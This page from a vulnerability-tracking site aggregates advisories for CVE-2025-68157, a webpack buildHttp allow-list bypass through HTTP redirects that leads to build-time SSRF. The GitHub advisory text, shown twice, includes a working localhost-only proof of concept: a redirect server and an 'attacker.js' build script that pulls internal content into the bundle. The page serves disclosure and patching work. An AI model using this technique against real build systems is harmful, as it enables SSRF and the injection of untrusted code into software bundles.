Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects

CVSS 3.1 3.7 LOWEUVD CVSS 3.1 3.7 CVSS 3.1 · [email protected] · Secondary 3.7 LOWCVSS_V3 Publisher rating LOWFixed by webpack 5.104.0KEV status unknown

cve-program · CVE-2025-68157

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Read the publisher's advisory

euvd · EUVD-2025-206880

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Read the publisher's advisory

nvd · CVE-2025-68157

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Read the publisher's advisory

osv · GHSA-38r7-794h-5758

Published

### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache. ### Details In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`. Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs. **Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache. <img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-ssrf-poc && cd split-ssrf-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const url = require("url"); const allowedPort = 9000; const internalPort = 9100; const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`; const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function start(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // Internal-only service (SSRF target) await start(internalPort, (req, res) => { if (req.url === "/secret.js") { res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); console.log(`[internal] 200 /secret.js served (secret=${secret})`); return; } res.statusCode = 404; res.end("not found"); }); // Allowed host (redirector) await start(allowedPort, (req, res) => { const parsed = url.parse(req.url, true); if (parsed.pathname === "/redirect.js") { const to = parsed.query.to || internalUrlDefault; // Safety guard: only allow redirecting to localhost internal service in this PoC if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) { res.statusCode = 400; res.end("to must be internal-only in this PoC"); console.log(`[allowed] blocked redirect to: ${to}`); return; } res.statusCode = 302; res.setHeader("Location", to); res.end("redirecting"); console.log(`[allowed] 302 /redirect.js -> ${to}`); return; } res.statusCode = 404; res.end("not found"); }); console.log(`\nServer running:`); console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`); console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`); })(); ``` #### 3) Create attacker.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); const webpackPkg = require("webpack/package.json"); const allowedPort = 9000; const internalPort = 9100; const allowedBase = `http://127.0.0.1:${allowedPort}/`; const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`; const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`; async function walk(dir) { const out = []; const items = await fs.readdir(dir, { withFileTypes: true }); for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle); } catch { return false; } } async function findInFiles(files, needle) { const hits = []; for (const f of files) if (await fileContains(f, needle)) hits.push(f); return hits; } const fmtBool = b => (b ? "✅" : "❌"); (async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(entryUrl)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedBase], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const secret = m ? m[0] : null; console.log("\n[ATTACKER RESULT]"); console.log(`- webpack version: ${webpackPkg.version}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`); console.log(`- imported URL (allowed only): ${entryUrl}`); console.log(`- temp dir: ${tmp}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log(`- bundle: ${bundlePath}`); if (!secret) { console.log("\n[SECURITY SUMMARY]"); console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`); return; } const lockHit = await fileContains(lockfile, secret); let cacheFiles = []; try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; } const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false; const allTmpFiles = await walk(tmp); const allHits = await findInFiles(allTmpFiles, secret); console.log(`\n- extracted secret marker from bundle: ${secret}`); console.log("\n[SECURITY SUMMARY]"); console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`); console.log(`- Internal target (SSRF-like): ${internalTarget}`); console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`); console.log(`- ACTUAL: internal content treated as module and bundled`); console.log("\n[EVIDENCE CHECKLIST]"); console.log(`- bundle contains secret: ${fmtBool(true)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log("\n[PERSISTENCE CHECK] files containing secret"); for (const f of allHits.slice(0, 30)) console.log(`- ${f}`); if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`); } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed). ### Impact Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled). Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can: trigger network requests from the build machine to internal-only services (SSRF behavior), cause content from outside the allow-list to be bundled into build outputs, and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2025-68157

Published

webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Source published
5 Feb 2026 23:08:13 UTC
Source modified
6 Feb 2026 19:29:14 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 3.7 CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

euvd · EUVD-2025-206880

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after …

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Feb 5, 2026, 11:08:13 PM

dateUpdated: Feb 6, 2026, 7:29:14 PM

5 related source bulletins · separate from aliases

RHSA-2026:41944: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.19.20 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:83619: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.36 security, enhancement & bug fix update

CVE-2025-13465 · CVE-2025-15284 · CVE-2025-61726 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-33186 · CVE-2026-33814 · CVE-2026-34986

RHSA-2026:41941: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.18.25 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-47907 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:40984: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.20.15 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:83622: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.17.28 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-22029 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-33186

Source published
Feb 5, 2026, 11:08:13 PM (timezone not stated)
Source modified
Feb 6, 2026, 7:29:14 PM (timezone not stated)
Saved here
15 Nov 2026 11:09:18 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 3.7 CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

nvd · CVE-2025-68157

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after …

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-02-05T23:15:53.777

lastModified: 2026-06-17T09:58:39.183

1 source CPE criteria · context only
  • cpe:2.3:a:webpack.js:webpack:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
5 Feb 2026 23:15:53 UTC
Source modified
17 Jun 2026 09:58:39 UTC
Saved here
25 Oct 2026 04:17:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 3.7 CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

osv · GHSA-38r7-794h-5758

Published

webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence

### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache. ### Details In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`. Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs. **Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache. <img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-ssrf-poc && cd split-ssrf-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const url = require("url"); const allowedPort = 9000; const internalPort = 9100; const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`; const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function start(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // Internal-only service (SSRF target) await start(internalPort, (req, res) => { if (req.url === "/secret.js") { res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); console.log(`[internal] 200 /secret.js served (secret=${secret})`); return; } res.statusCode = 404; res.end("not found"); }); // Allowed host (redirector) await start(allowedPort, (req, res) => { const parsed = url.parse(req.url, true); if (parsed.pathname === "/redirect.js") { const to = parsed.query.to || internalUrlDefault; // Safety guard: only allow redirecting to localhost internal service in this PoC if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) { res.statusCode = 400; res.end("to must be internal-only in this PoC"); console.log(`[allowed] blocked redirect to: ${to}`); return; } res.statusCode = 302; res.setHeader("Location", to); res.end("redirecting"); console.log(`[allowed] 302 /redirect.js -> ${to}`); return; } res.statusCode = 404; res.end("not found"); }); console.log(`\nServer running:`); console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`); console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`); })(); ``` #### 3) Create attacker.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); const webpackPkg = require("webpack/package.json"); const allowedPort = 9000; const internalPort = 9100; const allowedBase = `http://127.0.0.1:${allowedPort}/`; const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`; const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`; async function walk(dir) { const out = []; const items = await fs.readdir(dir, { withFileTypes: true }); for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle); } catch { return false; } } async function findInFiles(files, needle) { const hits = []; for (const f of files) if (await fileContains(f, needle)) hits.push(f); return hits; } const fmtBool = b => (b ? "✅" : "❌"); (async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(entryUrl)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedBase], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const secret = m ? m[0] : null; console.log("\n[ATTACKER RESULT]"); console.log(`- webpack version: ${webpackPkg.version}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`); console.log(`- imported URL (allowed only): ${entryUrl}`); console.log(`- temp dir: ${tmp}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log(`- bundle: ${bundlePath}`); if (!secret) { console.log("\n[SECURITY SUMMARY]"); console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`); return; } const lockHit = await fileContains(lockfile, secret); let cacheFiles = []; try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; } const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false; const allTmpFiles = await walk(tmp); const allHits = await findInFiles(allTmpFiles, secret); console.log(`\n- extracted secret marker from bundle: ${secret}`); console.log("\n[SECURITY SUMMARY]"); console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`); console.log(`- Internal target (SSRF-like): ${internalTarget}`); console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`); console.log(`- ACTUAL: internal content treated as module and bundled`); console.log("\n[EVIDENCE CHECKLIST]"); console.log(`- bundle contains secret: ${fmtBool(true)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log("\n[PERSISTENCE CHECK] files containing secret"); for (const f of allHits.slice(0, 30)) console.log(`- ${f}`); if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`); } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed). ### Impact Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled). Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can: trigger network requests from the build machine to internal-only services (SSRF behavior), cause content from outside the allow-list to be bundled into build outputs, and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

Source published
5 Feb 2026 18:35:28 UTC
Source modified
10 Sep 2026 03:50:33 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Publisher rating · LOW

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 11:47 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current